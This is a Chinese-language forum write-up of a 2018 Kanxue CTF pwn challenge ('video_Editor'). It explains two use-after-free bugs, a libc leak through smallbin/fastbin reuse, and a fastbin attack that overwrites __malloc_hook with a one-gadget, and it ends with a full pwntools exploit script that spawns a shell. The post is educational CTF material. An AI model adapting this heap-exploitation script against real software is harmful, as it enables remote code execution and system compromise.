首页
社区
课程
招聘
[原创]看雪CTF2018 第九题 PWN-羞耻player WriteUp
2018-7-5 00:14 2014

[原创]看雪CTF2018 第九题 PWN-羞耻player WriteUp

2018-7-5 00:14
2014
       看完各位大神的解题思路后,发现本题居然有多种奇妙解法,我也将自己的解题方法总结一下。本题两次用到了UAF,基本思路,先分配一块0x400的堆块,使得初始化时随机生成的堆块都被加入进smallbin里边,然后利用smallbin结合UAF进行libc地址泄漏,同样利用edit_videoclip函数中UAF漏洞,进行fastbin attack,将__malloc_hook改写为one gadagt,最后实现控制流劫持获得shell。详细分析如下:

 1. 逆向分析

       本题通过逆向,会发现主要有四个C++类构成,分别是AudioClip,VedioClip, SubClip, Metadata,如图1所示。
图 1
程序刚开始运行时,在输出banner之前,随机分配了256个堆块,如图2所示,并随机释放了一部分,此时的main_arena的fastbin和unsorted bin的状态如图3所示。
图 2

图 3

 2. libc 地址泄漏

       分析add_videoclip函数,如图所示4,最大的frame_num不能超过0x400,输入frame_nums为0x500,实际只分配了0x400内存,可以将初始化时随机分配的堆块加入到smallbin中。所以,在利用代码中,我们首先 add_video(1, p32(0x500), "\x00"*0x400);

图 4
再看edit_videoclip函数,这里有一个非常明显的UAF,如图5所示,我们首先将刚才分配的0x400堆块,改为一个fastbin块,比如0x50大小的堆块,edit(0, p32(0x40), "\x00"*0x40),在进行edit时,该0x50堆块其实已经被释放,加入了fastbin,为后续地址泄漏使用使用。
图 5
来看add_subtitle,如图6,如果data字段为NULL的话,初始化分配一个段内存;如果不为空,将会先释放先前的内存,再分配一段两次长度之和的内存块,并将原来的内存copy到当前内存,此处可以用来内存泄漏。我们先分配一块0x20大小块,即add_subtitle1(p32(0x10)),将smallbin[0]第一块分配出来,其fd指向smallbin;再追加长度0x30,即add_subtitle2(p32(0x30)),此时会将之前0x50的fastbin块再次分配回来,并将数据copy进去,利用UAF,play(0),打印第一个VedioClip即可泄漏smallbin[0]地址,随即可得到main_arean、libc的地址。

图 6

3. 劫持__malloc_hook

      接下来相对比较直接,新分配一个堆块,add_video(1, p32(0x500), "\x00"*0x400);再次利用edit_vedioclip的UAF,edit(2, p32(0x60), p64(fake_chunk_addr)),劫持__malloc_hook,将该伪造堆块改为one gadget即可获得shell。详细exp如下:
#! /usr/bin/env python
#-*- encoding:utf-8 -*-

from pwn import *

context.update(terminal = ["tmux", "splitw", "-h"],
               # log_level = "debug",
               os = "linux",
               arch = "amd64",
               endian = "little")

p = process("./video_Editor")
# p = remote("139.199.99.130", 8989)

e = ELF("./video_Editor")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def info(s, addr):
    log.info("%s: 0x%X" %(s, addr))

def add_video(i, num, data):
    p.sendlineafter(">>> ", "1")
    p.sendlineafter(">>> ", str(i))
    p.sendlineafter("Video Resolution : ", "")
    p.sendlineafter("FPS : ", "")
    p.sendafter("Number of Frames : ", num)
    p.sendafter("Video Data : ", data)
    p.sendlineafter("Add description : ", "")

def delete_vedio(i):
    p.sendlineafter(">>> ", "4")
    p.sendlineafter("Enter index : ", str(i))

def add_subtitle1(len):
    p.sendlineafter(">>> ", "1")
    p.sendlineafter(">>> ", "3")
    p.sendlineafter("Subtitle Language : ", "")
    p.sendafter("Subtitle Length : ", len)
    p.sendlineafter("Add Subtitle : ", "")

def add_subtitle2(len):
    p.sendlineafter(">>> ", "1")
    p.sendlineafter(">>> ", "3")
    p.sendafter("Subtitle Length : ", len)
    p.sendlineafter("Add Subtitle : ", "")

def delete_subtitle(i):
    p.sendlineafter(">>> ", "4")
    p.sendlineafter("Enter index : ", str(i))

def edit(i, num, data):
    p.sendlineafter(">>> ", "2")
    p.sendlineafter("Enter index : ", str(i))
    p.sendlineafter("Video Resolution : ", "")
    p.sendlineafter("FPS : ", "")
    p.sendafter("Number of Frames : ", num)
    p.sendafter("Video Data : ", data)
    p.sendlineafter("Edit description : ", "")

def play(i):
    p.sendlineafter(">>> ", "3")
    p.sendlineafter("Enter index : ", str(i))

def main():
    main_arena_offset = 0x3c4b20
    one_gadget_offset = 0x4526a
    info("offset main_arena", main_arena_offset)
    info("offset atoi", one_gadget_offset)

    p.sendlineafter("Please enter your Recording Name?\n", "Hero")
    add_video(1, p32(0x500), "\x00"*0x400)
    edit(0, p32(0x40), "\x00"*0x40)
    play(0)

    add_subtitle1(p32(0x10))
    add_subtitle2(p32(0x30))
    play(0)
    p.recvuntil("Playing video...\n")
    leak_addr = u64(p.recv(8)) ^ 0xcccccccccccccccc
    info("leak_addr", leak_addr)
    main_arena = leak_addr - 0xa + 0x88 - 104
    info("main_arena", main_arena)
    libc_base = main_arena - main_arena_offset
    info("libc_base", libc_base)
    one_gadget_addr = libc_base + one_gadget_offset
    info("one_gadget_addr", one_gadget_addr)

    fake_chunk_addr = main_arena - 0x33
    payload = 'a' * 0x13 + p64(one_gadget_addr)
    payload = payload.ljust(0x60, '\x00')

    add_video(1, p32(0x500), "\x00"*0x400)
    edit(2, p32(0x60), p64(fake_chunk_addr))
    add_video(1, p32(0x60), "\x00"*0x60)
    add_video(1, p32(0x60), payload)
    p.sendlineafter(">>> ", "1")
    p.sendlineafter(">>> ", "1")
    p.interactive()

main()


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回